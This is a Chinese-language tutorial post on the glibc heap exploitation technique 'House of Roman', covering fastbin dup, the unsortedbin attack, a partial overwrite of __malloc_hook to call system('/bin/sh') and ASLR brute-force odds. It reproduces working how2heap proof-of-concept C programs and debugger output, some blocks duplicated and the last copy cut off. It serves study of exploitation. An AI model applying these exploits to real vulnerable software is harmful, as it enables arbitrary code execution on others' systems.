-
-
[原创]堆利用详解:the house of roman(超详细)
-
发表于: 2024-1-19 17:29 14522
-
介绍部分来自参考资料[0],其余内容参考自glibc malloc源码,介绍了其中用到的两个部分fastbin dup和unsortedbin attack,探究了the house of roman的过程,概率的计算,如何爆破,鉴于原理简单和成功率极低,就不做额外实验了
use after free
、heap overflow write
可以说这个技巧是 fastbinattack + unsortedbin attack
的组合技,利用思路如下:
换个方式概况一下:
stage1 - fastbin dup
stage2 - unsortedbin attack
stage3 - 使用fastbin dup申请的chunk部分覆盖malloc_hook的值,使其指向one_gadgets等
节选自我的博客,完整内容见参考资料[7]
实验环境:libc 2.35
为了使用fastbin,首先是填充满tcachebin
从fastbin申请3个chunk:A,B,C
按照顺序进行释放:A,B,A,完成对fastbin的双重释放,同一个chunk被释放两次,意味着在第二次被申请前可以修改chunk指针
接下来就可以控制fastbin的指针了
在_int_free中对fastbin处理里,有一个双重释放安全检查:
这个检查和libc 2.23一样,只检查释放的fastbin链表中的第一个chunk和释放的chunk是否是同一个,是就表示为双重释放
要触发这个检查,就需要连续释放两个同样的chunk到fastbin链表中,如果不是连续的,就会存在双重释放问题
节选自我的博客,完整内容见参考资料[8]
实验环境:libc 2.23
首先是条件准备:需要一个 unsortedbin
然后模拟漏洞情况,unsortedbin的bk被写入一个可控地址
stack_var-0x10地址内容:
当再次申请内存的时候,触发unsortedbin相关的处理,导致fd的值被写入bk地址:
为什么会这样呢?
当fastbin,smallbin,largebin无法处理,且last remainder也无法处理,就会进入这里:
这里的断链操作导致了unsortedbin attack得以实现
新版本的修复:(略去tcachebin的处理)
原先的断链得以实现任意写是因为:
后来新增了一个条件判断:检查双链表完整性
这意味着,要能通过安全检查,需要fd位置有arena对应的地址才行,而进行unsortedbin attack利用的目的是往fd位置写入arena对应的地址
因此,这个利用手法失效,该检查于2.29版本被添加
实验环境:libc 2.23
是的,又好长啊
编译:注意需要添加 **-ldl**
参数!
the house of roman 是一种不需要leak的利用技巧,需要能够通过UAF或者overflow来修改fastbin和unsortedbin的指针
步骤:
__malloc_hook 在 libc 2.34 中被移除
主要目标是通过fastbin dup去拿到__malloc_hook附近的fake fastbin chunk
流程:
让fastbin fd指针指向有unsortedbin 指针的同大小chunk(模拟UAF漏洞)
计算偏移,修改其fd指针的最后2个字节指向相对地址__malloc_hook
附件的fake fastbin chunk(0x7f bytes),再申请两次内存,让该fake chunk被申请走
这是 fastbin attack 的操作,如果有libc泄露,这里可以直接写入one_gadget drop shell,这里的操作是如何在没有libc泄露的情况下进行利用
计算 __malloc_hook - 0x10
所在地址,取出后2字节,写入unsortedbin chunk bk的第8第9字节上:
执行unsortedbin attack,使得__malloc_hook位置上被写入arena中的地址:
使用stage1通过fastbin dup获取的chunk进行写入,修改__malloc_hook后几个字节,使其指向system函数:
当再次调用malloc的时候,使用指向/bin/sh
的参数去申请,即可drop shell
会影响地址位置是有两个机制:
在整个利用过程中通过部分覆盖libc地址的后几位,来实现的不需要leak libc地址完成利用,所以整个过程中会产生影响的就只有ASLR机制
ASLR的随机是高位地址随机,低位地址固定,最后12位的内容是固定的,结合本例利用过程来分析:
在 fastbin dup 阶段,申请 fastbin fake chunk 的指针需要通过局部覆盖来得到,此时保存在fd指针里的unsortedbin地址为:0x00007ffff7dc7b78
,我的目标fake chunk地址是0x00007ffff7dc7aed
,后12字节的内容是不一样的,但是局部覆盖的单位是字节,会覆盖到后16位,而这个第13-16位的值是固定的吗?经过测试,不是固定的,这里有4位需要爆破
在 unsortedbin attack 阶段,bk的指针需要局部覆盖得到,本例中原本的bk指针是:0x00007ffff7dc7b78
,目标__malloc_hook
地址是:0x00007ffff7dc7b00
,最后8位不同,可以直接覆盖到,这里没啥影响
在最终修改__malloc_hook
阶段,此时__malloc_hook
中保存的地址是0x00007ffff7dc7b78
,需要修改成one_gadget或者system地址
libc.sym.system
地址是0x00007ffff7c75e2c
:
one_gadget的地址是
对于以上两种情况,目标地址都位于libc base + 0x??___
的位置,?
表示是随机的值,_
表示是固定的值,覆盖是以字节为单位,所以这里需要处理的随机的位有12位需要爆破
综上:仅仅在最后一步覆盖的时候就需要爆破12位,12位共有0x1000种情况,换成十进制就是4096,所以概率1/4096指的是这个阶段的爆破,但是在前面fastbin dup的时候还有4位需要爆破,从头到尾加起来,需要爆破的共16位,也就是0x10000种情况,那概率就是1/40960
如果题目是通过fork来创建子进程用于作答的话,那么子进程会复制父进程的内存,那就可以一点一点去爆破,很快可以爆破出来
否则,每次都是随机的4+12位,只能是我们猜解一个答案,然后不断运行直到程序的随机地址roll出这个基地址,这概率也太低了
这个house of技术的探究就到此为止了,不再寻找新的实践去研究
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int
main()
{
setbuf
(stdout, NULL);
printf
(
"This file demonstrates a simple double-free attack with fastbins.\n"
);
printf
(
"Fill up tcache first.\n"
);
void
*ptrs[8];
for
(
int
i=0; i<8; i++) {
ptrs[i] =
malloc
(8);
}
for
(
int
i=0; i<7; i++) {
free
(ptrs[i]);
}
printf
(
"Allocating 3 buffers.\n"
);
int
*a =
calloc
(1, 8);
int
*b =
calloc
(1, 8);
int
*c =
calloc
(1, 8);
printf
(
"1st calloc(1, 8): %p\n"
, a);
printf
(
"2nd calloc(1, 8): %p\n"
, b);
printf
(
"3rd calloc(1, 8): %p\n"
, c);
printf
(
"Freeing the first one...\n"
);
free
(a);
printf
(
"If we free %p again, things will crash because %p is at the top of the free list.\n"
, a, a);
// free(a);
printf
(
"So, instead, we'll free %p.\n"
, b);
free
(b);
printf
(
"Now, we can free %p again, since it's not the head of the free list.\n"
, a);
free
(a);
printf
(
"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n"
, a, b, a, a);
a =
calloc
(1, 8);
b =
calloc
(1, 8);
c =
calloc
(1, 8);
printf
(
"1st calloc(1, 8): %p\n"
, a);
printf
(
"2nd calloc(1, 8): %p\n"
, b);
printf
(
"3rd calloc(1, 8): %p\n"
, c);
assert
(a == c);
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int
main()
{
setbuf
(stdout, NULL);
printf
(
"This file demonstrates a simple double-free attack with fastbins.\n"
);
printf
(
"Fill up tcache first.\n"
);
void
*ptrs[8];
for
(
int
i=0; i<8; i++) {
ptrs[i] =
malloc
(8);
}
for
(
int
i=0; i<7; i++) {
free
(ptrs[i]);
}
printf
(
"Allocating 3 buffers.\n"
);
int
*a =
calloc
(1, 8);
int
*b =
calloc
(1, 8);
int
*c =
calloc
(1, 8);
printf
(
"1st calloc(1, 8): %p\n"
, a);
printf
(
"2nd calloc(1, 8): %p\n"
, b);
printf
(
"3rd calloc(1, 8): %p\n"
, c);
printf
(
"Freeing the first one...\n"
);
free
(a);
printf
(
"If we free %p again, things will crash because %p is at the top of the free list.\n"
, a, a);
// free(a);
printf
(
"So, instead, we'll free %p.\n"
, b);
free
(b);
printf
(
"Now, we can free %p again, since it's not the head of the free list.\n"
, a);
free
(a);
printf
(
"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n"
, a, b, a, a);
a =
calloc
(1, 8);
b =
calloc
(1, 8);
c =
calloc
(1, 8);
printf
(
"1st calloc(1, 8): %p\n"
, a);
printf
(
"2nd calloc(1, 8): %p\n"
, b);
printf
(
"3rd calloc(1, 8): %p\n"
, c);
assert
(a == c);
}
0x55555555b390 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0], fastbins[0x20][0]
0x55555555b3a0 0x000055500000e6eb 0x0000000000000000 ....PU..........
0x55555555b3b0 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x55555555b3c0 0x000055500000e6cb 0x0000000000000000 ....PU..........
0x55555555b3d0 0x0000000000000000 0x0000000000000021 ........!.......
0x55555555b3e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b3f0 0x0000000000000000 0x0000000000020c11 ................ <-- Top chunk
0x55555555b390 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0], fastbins[0x20][0]
0x55555555b3a0 0x000055500000e6eb 0x0000000000000000 ....PU..........
0x55555555b3b0 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x55555555b3c0 0x000055500000e6cb 0x0000000000000000 ....PU..........
0x55555555b3d0 0x0000000000000000 0x0000000000000021 ........!.......
0x55555555b3e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b3f0 0x0000000000000000 0x0000000000020c11 ................ <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x55555555b390 —▸ 0x55555555b3b0 ◂— 0x55555555b390
pwndbg> fastbins
fastbins
0x20: 0x55555555b390 —▸ 0x55555555b3b0 ◂— 0x55555555b390
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
// 如果该fastbin当前指向的chunk和要释放的chunk指针相同,报错,双重释放检测
// 只检测第一个chunk是否和要释放的chunk相同
if
(__builtin_expect(old == p, 0))
malloc_printerr(
"double free or corruption (fasttop)"
);
// 指针加密
p->fd = PROTECT_PTR(&p->fd, old);
*fb = p;
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
// 如果该fastbin当前指向的chunk和要释放的chunk指针相同,报错,双重释放检测
// 只检测第一个chunk是否和要释放的chunk相同
if
(__builtin_expect(old == p, 0))
malloc_printerr(
"double free or corruption (fasttop)"
);
// 指针加密
p->fd = PROTECT_PTR(&p->fd, old);
*fb = p;
#include <stdio.h>
#include <stdlib.h>
int
main(){
fprintf
(stderr,
"This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"
);
fprintf
(stderr,
"In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n"
);
unsigned
long
stack_var=0;
fprintf
(stderr,
"Let's first look at the target we want to rewrite on stack:\n"
);
fprintf
(stderr,
"%p: %ld\n\n"
, &stack_var, stack_var);
unsigned
long
*p=
malloc
(400);
fprintf
(stderr,
"Now, we allocate first normal chunk on the heap at: %p\n"
,p);
fprintf
(stderr,
"And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n"
);
malloc
(500);
free
(p);
fprintf
(stderr,
"We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n"
,(
void
*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned
long
)(&stack_var-2);
fprintf
(stderr,
"Now emulating a vulnerability that can overwrite the victim->bk pointer\n"
);
fprintf
(stderr,
"And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n"
,(
void
*)p[1]);
//------------------------------------
malloc
(400);
fprintf
(stderr,
"Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n"
);
fprintf
(stderr,
"%p: %p\n"
, &stack_var, (
void
*)stack_var);
}
#include <stdio.h>
#include <stdlib.h>
int
main(){
fprintf
(stderr,
"This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"
);
fprintf
(stderr,
"In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n"
);
unsigned
long
stack_var=0;
fprintf
(stderr,
"Let's first look at the target we want to rewrite on stack:\n"
);
fprintf
(stderr,
"%p: %ld\n\n"
, &stack_var, stack_var);
unsigned
long
*p=
malloc
(400);
fprintf
(stderr,
"Now, we allocate first normal chunk on the heap at: %p\n"
,p);
fprintf
(stderr,
"And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n"
);
malloc
(500);
free
(p);
fprintf
(stderr,
"We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n"
,(
void
*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned
long
)(&stack_var-2);
fprintf
(stderr,
"Now emulating a vulnerability that can overwrite the victim->bk pointer\n"
);
fprintf
(stderr,
"And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n"
,(
void
*)p[1]);
//------------------------------------
malloc
(400);
fprintf
(stderr,
"Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n"
);
fprintf
(stderr,
"%p: %p\n"
, &stack_var, (
void
*)stack_var);
}
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffdfa8 —▸ 0x602010 ◂— 0x0
pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffdfa8 —▸ 0x602010 ◂— 0x0
pwndbg> dq &stack_var-2
00007fffffffdfa8 00000000004007c6 0000000000400890
00007fffffffdfb8 0000000000000000 0000000000602010
// 这个 0x602010 是局部变量p
00007fffffffdfc8 be4d3c756d8c1300 0000000000400890
00007fffffffdfd8 00007ffff7a2d840 0000000000000001
pwndbg> dq &stack_var-2
00007fffffffdfa8 00000000004007c6 0000000000400890
00007fffffffdfb8 0000000000000000 0000000000602010
// 这个 0x602010 是局部变量p
00007fffffffdfc8 be4d3c756d8c1300 0000000000400890
00007fffffffdfd8 00007ffff7a2d840 0000000000000001
pwndbg> p/x stack_var
$2 = 0x7ffff7dd1b78
pwndbg> p/x stack_var
$2 = 0x7ffff7dd1b78
/* remove from unsorted list */
// 断链
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小精准匹配,就直接分配返回
if
(size == nb)
{
set_inuse_bit_at_offset(victim, size);
if
(av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void
*p = chunk2mem(victim);
alloc_perturb(p, bytes);
return
p;
}
/* remove from unsorted list */
// 断链
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小精准匹配,就直接分配返回
if
(size == nb)
{
set_inuse_bit_at_offset(victim, size);
if
(av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void
*p = chunk2mem(victim);
alloc_perturb(p, bytes);
return
p;
}
/* remove from unsorted list */
// 断链
if
(__glibc_unlikely(bck->fd != victim))
malloc_printerr(
"malloc(): corrupted unsorted chunks 3"
);
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小刚好精准匹配,就分配
if
(size == nb)
{
// 设置下一个chunk的prev_inuse标志
set_inuse_bit_at_offset(victim, size);
if
(av != &main_arena)
set_non_main_arena(victim);
...
// 返回分配的内存地址给用户
check_malloced_chunk(av, victim, nb);
void
*p = chunk2mem(victim);
alloc_perturb(p, bytes);
return
p;
...
}
/* remove from unsorted list */
// 断链
if
(__glibc_unlikely(bck->fd != victim))
malloc_printerr(
"malloc(): corrupted unsorted chunks 3"
);
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小刚好精准匹配,就分配
if
(size == nb)
{
// 设置下一个chunk的prev_inuse标志
set_inuse_bit_at_offset(victim, size);
if
(av != &main_arena)
set_non_main_arena(victim);
...
// 返回分配的内存地址给用户
check_malloced_chunk(av, victim, nb);
void
*p = chunk2mem(victim);
alloc_perturb(p, bytes);
return
p;
...
}
unsorted_chunks(av)->bk = bck;
// 把可控地址的bk写给unsortedbin头指针
bck->fd = unsorted_chunks(av);
// 往可控地址的fd写入unsortedbin头指针
unsorted_chunks(av)->bk = bck;
// 把可控地址的bk写给unsortedbin头指针
bck->fd = unsorted_chunks(av);
// 往可控地址的fd写入unsortedbin头指针
if
(__glibc_unlikely(bck->fd != victim))
malloc_printerr(
"malloc(): corrupted unsorted chunks 3"
);
if
(__glibc_unlikely(bck->fd != victim))
malloc_printerr(
"malloc(): corrupted unsorted chunks 3"
);
#define _GNU_SOURCE /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>
char
* shell =
"/bin/sh\x00"
;
/*
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.
Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman
POC written by Maxwell Dulin (Strikeout)
*/
// Use this in order to turn off printf buffering (messes with heap alignment)
void
* init(){
setvbuf
(stdout, NULL, _IONBF, 0);
setvbuf
(stdin, NULL, _IONBF, 0);
}
int
main(){
/*
The main goal of this technique is to create a **leakless** heap
exploitation technique in order to get a shell. This is mainly
done using **relative overwrites** in order to get pointers in
the proper locations without knowing the exact value of the pointer.
The first step is to get a pointer inside of __malloc_hook. This
is done by creating a fastbin bin that looks like the following:
ptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc
(with a relative overwrite) to point to __malloc_hook.
The next step is to run an unsorted bin attack on the __malloc_hook
(which is now controllable from the previous attack). Again, we run
the unsorted_bin attack by altering the chunk->bk with a relative overwrite.
Finally, after launching the unsorted_bin attack to put a libc value
inside of __malloc_hook, we use another relative overwrite on the
value of __malloc_hook to point to a one_gadget, system or some other function.
Now, the next time we run malloc we pop a shell! :)
However, this does come at a cost: 12 bits of randomness must be
brute forced (0.02% chance) of working.
The original write up for the *House of Roman* can be found at
https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.
This technique requires the ability to edit fastbin and unsorted bin
pointers via UAF or overflow of some kind. Additionally, good control
over the allocations sizes and freeing is required for this technique.
*/
char
* introduction =
"\nWelcome to the House of Roman\n\n"
"This is a heap exploitation technique that is LEAKLESS.\n"
"There are three stages to the attack: \n\n"
"1. Point a fastbin chunk to __malloc_hook.\n"
"2. Run the unsorted_bin attack on __malloc_hook.\n"
"3. Relative overwrite on main_arena at __malloc_hook.\n\n"
"All of the stuff mentioned above is done using two main concepts:\n"
"relative overwrites and heap feng shui.\n\n"
"However, this technique comes at a cost:\n"
"12-bits of entropy need to be brute forced.\n"
"That means this technique only work 1 out of every 4096 tries or 0.02%.\n"
"**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n"
;
puts
(introduction);
init();
/*
Part 1: Fastbin Chunk points to __malloc_hook
Getting the main_arena in a fastbin chunk ordering is the first step.
This requires a ton of heap feng shui in order to line this up properly.
However, at a glance, it looks like the following:
First, we need to get a chunk that is in the fastbin with a pointer to
a heap chunk in the fd.
Second, we point this chunk to a pointer to LibC (in another heap chunk).
All of the setup below is in order to get the configuration mentioned
above setup to perform the relative overwrites. ";
Getting the pointer to libC can be done in two ways:
- A split from a chunk in the small/large/unsorted_bins
gets allocated to a size of 0x70.
- Overwrite the size of a small/large chunk used previously to 0x71.
For the sake of example, this uses the first option because it
requires less vulnerabilities.
*/
puts
(
"Step 1: Point fastbin chunk to __malloc_hook\n\n"
);
puts
(
"Setting up chunks for relative overwrites with heap feng shui.\n"
);
// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.
uint8_t* fastbin_victim =
malloc
(0x60);
// Allocate this in order to have good alignment for relative
// offsets later (only want to overwrite a single byte to prevent
// 4 bits of brute on the heap).
malloc
(0x80);
// Offset 0x100
uint8_t* main_arena_use =
malloc
(0x80);
// Offset 0x190
// This ptr will be used for a relative offset on the 'main_arena_use' chunk
uint8_t* relative_offset_heap =
malloc
(0x60);
// Free the chunk to put it into the unsorted_bin.
// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
free
(main_arena_use);
/*
Get part of the unsorted_bin chunk (the one that we just freed).
We want this chunk because the fd and bk of this chunk will
contain main_arena ptrs (used for relative overwrite later).
The size is particularly set at 0x60 to put this into the 0x70 fastbin later.
This has to be the same size because the __malloc_hook fake
chunk (used later) uses the fastbin size of 0x7f. There is
a security check (within malloc) that the size of the chunk matches the fastbin size.
*/
puts
(
"Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n"
);
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
uint8_t* fake_libc_chunk =
malloc
(0x60);
//// NOTE: This is NOT part of the exploit... \\\
// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC.
long
long
__malloc_hook = ((
long
*)fake_libc_chunk)[0] - 0xe8;
// We need the filler because the overwrite below needs
// to have a ptr in the fd slot in order to work.
//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later.
free
(relative_offset_heap);
/*
Create a UAF on the chunk. Recall that the chunk that fastbin_victim
points to is currently at the offset 0x190 (heap_relative_offset).
*/
free
(fastbin_victim);
/*
Now, we start doing the relative overwrites, since that we have
the pointers in their proper locations. The layout is very important to
understand for this.
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
Now, the relative overwriting begins:
Recall that fastbin_victim points to relative_offset_heap
(which is in the 0x100-0x200 offset range). The fastbin uses a singly
linked list, with the next chunk in the 'fd' slot.
By *partially* editing the fastbin_victim's last byte (from 0x90
to 0x00) we have moved the fd pointer of fastbin_victim to
fake_libc_chunk (at offset 0x100).
Also, recall that fake_libc_chunk had previously been in the unsorted_bin.
Because of this, it has a fd pointer that points to main_arena + 0x68.
Now, the fastbin looks like the following:
fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68).
The relative overwrites (mentioned above) will be demonstrates step by step below.
*/
puts
("\
Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\
to the chunk with the LibC address\n");
puts
("\
Fastbin 0x70 now looks like
this
:\n\
heap_addr -> heap_addr2 -> LibC_main_arena\n");
fastbin_victim[0] = 0x00;
// The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.
/*
Now, we have a fastbin that looks like the following:
0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)
We want the fd ptr in fake_libc_chunk to point to something useful.
So, let's edit this to point to the location of the __malloc_hook.
This way, we can get control of a function ptr.
To do this, we need a valid malloc size. Within the __memalign_hook
is usually an address that usually starts with 0x7f.
Because __memalign_hook value is right before this are all 0s,
we could use a misaligned chunk to get this to work as a valid size in
the 0x70 fastbin.
This is where the first 4 bits of randomness come into play.
The first 12 bits of the LibC address are deterministic for the address.
However, the next 4 (for a total of 2 bytes) are not.
So, we have to brute force 2^4 different possibilities (16)
in order to get this in the correct location. This 'location'
is different for each version of GLibC (should be noted).
After doing this relative overwrite, the fastbin looks like the following:
0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).
*/
/*
Relatively overwrite the main_arena pointer to point to a valid
chunk close to __malloc_hook.
///// NOTE: In order to make this exploit consistent
(not brute forcing with hardcoded offsets), we MANUALLY set the values. \\\
In the actual attack, this values would need to be specific
to a version and some of the bits would have to be brute forced
(depending on the bits).
*/
puts
("\
Use a relative overwrite on the main_arena pointer in the fastbin.\n\
Point
this
close to __malloc_hook in order to create a fake fastbin chunk\n");
long
long
__malloc_hook_adjust = __malloc_hook - 0x23;
// We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.
// The relative overwrite
int8_t byte1 = (__malloc_hook_adjust) & 0xff;
int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
fake_libc_chunk[0] = byte1;
// Least significant bytes of the address.
fake_libc_chunk[1] = byte2;
// The upper most 4 bits of this must be brute forced in a real attack.
// Two filler chunks prior to the __malloc_hook chunk in the fastbin.
// These are fastbin_victim and fake_libc_chunk.
puts
(
"Get the fake chunk pointing close to __malloc_hook\n"
);
puts
("\
In a real exploit,
this
would fail 15/16 times\n\
because of the final half byet of the malloc_hook being random\n");
malloc
(0x60);
malloc
(0x60);
// If the 4 bit brute force did not work, this will crash because
// of the chunk size not matching the bin for the chunk.
// Otherwise, the next step of the attack can begin.
uint8_t* malloc_hook_chunk =
malloc
(0x60);
puts
(
"Passed step 1 =)\n\n\n"
);
/*
Part 2: Unsorted_bin attack
Now, we have control over the location of the __malloc_hook.
However, we do not know the address of LibC still. So, we cannot
do much with this attack. In order to pop a shell, we need
to get an address at the location of the __malloc_hook.
We will use the unsorted_bin attack in order to change the value
of the __malloc_hook with the address of main_arena + 0x68.
For more information on the unsorted_bin attack, review
https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c.
For a brief overview, the unsorted_bin attack allows us to write
main_arena + 0x68 to any location by altering the chunk->bk of
an unsorted_bin chunk. We will choose to write this to the
location of __malloc_hook.
After we overwrite __malloc_hook with the main_arena, we will
edit the pointer (with a relative overwrite) to point to a
one_gadget for immediate code execution.
Again, this relative overwrite works well but requires an additional
1 byte (8 bits) of brute force.
This brings the chances of a successful attempt up to 12 bits of
randomness. This has about a 1/4096 or a 0.0244% chance of working.
The steps for phase two of the attack are explained as we go below.
*/
puts
("\
Start Step 2: Unsorted_bin attack\n\n\
The unsorted bin attack gives us the ability to write a\n\
large value to ANY location. But, we
do
not control the value\n\
This value is always main_arena + 0x68. \n\
We point the unsorted_bin attack to __malloc_hook
for
a \n\
relative overwrite later.\n");
// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.
uint8_t* unsorted_bin_ptr =
malloc
(0x80);
malloc
(0x30);
// Don't want to consolidate
puts
(
"Put chunk into unsorted_bin\n"
);
// Free the chunk to create the UAF
free
(unsorted_bin_ptr);
/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\
However, for the sake of example, this has been calculated dynamically.
*/
__malloc_hook_adjust = __malloc_hook - 0x10;
// This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.
byte1 = (__malloc_hook_adjust) & 0xff;
byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
// Use another relative offset to overwrite the ptr of the chunk->bk pointer.
// From the previous brute force (4 bits from before) we
// know where the location of this is at. It is 5 bytes away from __malloc_hook.
puts
(
"Overwrite last two bytes of the chunk to point to __malloc_hook\n"
);
unsorted_bin_ptr[8] = byte1;
// Byte 0 of bk.
// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///
unsorted_bin_ptr[9] = byte2;
// Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.
/*
Trigger the unsorted bin attack.
This will write the value of (main_arena + 0x68) to whatever is in the bk ptr + 0x10.
A few things do happen though:
- This makes the unsorted bin (hence, small and large too)
unusable. So, only allocations previously in the fastbin can only be used now.
- If the same size chunk (the unsorted_bin attack chunk)
is NOT malloc'ed, the program will crash immediately afterwards.
So, the allocation request must be the same as the unsorted_bin chunk.
The first point is totally fine (in this attack). But, in more complicated
programming, this can be an issue.
The second just requires us to do the same size allocaton as the current chunk.
*/
puts
(
"Trigger the unsorted_bin attack\n"
);
malloc
(0x80);
// Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68
long
long
system_addr = (
long
long
)dlsym(RTLD_NEXT,
"system"
);
puts
(
"Passed step 2 =)\n\n\n"
);
/*
Step 3: Set __malloc_hook to system
The chunk itself is allocated 19 bytes away from __malloc_hook.
So, we use a realtive overwrite (again) in order to partially overwrite
the main_arena pointer (from unsorted_bin attack) to point to system.
In a real attack, the first 12 bits are static (per version).
But, after that, the next 12 bits must be brute forced.
/// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\
*/
puts
(
"Step 3: Set __malloc_hook to system/one_gadget\n\n"
);
puts
("\
Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\
we can use a relative overwrite to point
this
to
system
or a one_gadget.\n\
Note: In a real attack,
this
would be where the last 8 bits of brute forcing\n\
comes from.\n");
malloc_hook_chunk[19] = system_addr & 0xff;
// The first 12 bits are static (per version).
malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;
// The last 4 bits of this must be brute forced (done previously already).
malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;
// The last byte is the remaining 8 bits that must be brute forced.
malloc_hook_chunk[22] = (system_addr >> 24) & 0xff;
// If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.
// Trigger the malloc call for code execution via the system call being ran from the __malloc_hook.
// In a real example, you would probably want to use a one_gadget.
// But, to keep things portable, we will just use system and add a pointer to /bin/sh as the parameter
// Although this is kind of cheating (the binary is PIE), if the binary was not PIE having a pointer into the .bss section would work without a single leak.
// To get the system address (eariler on for consistency), the binary must be PIE though. So, the address is put in here.
puts
(
"Pop Shell!"
);
malloc
((
long
long
)shell);
}
#define _GNU_SOURCE /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>
char
* shell =
"/bin/sh\x00"
;
/*
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.
Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman
POC written by Maxwell Dulin (Strikeout)
*/
// Use this in order to turn off printf buffering (messes with heap alignment)
void
* init(){
setvbuf
(stdout, NULL, _IONBF, 0);
setvbuf
(stdin, NULL, _IONBF, 0);
}
int
main(){
/*
The main goal of this technique is to create a **leakless** heap
exploitation technique in order to get a shell. This is mainly
done using **relative overwrites** in order to get pointers in
the proper locations without knowing the exact value of the pointer.
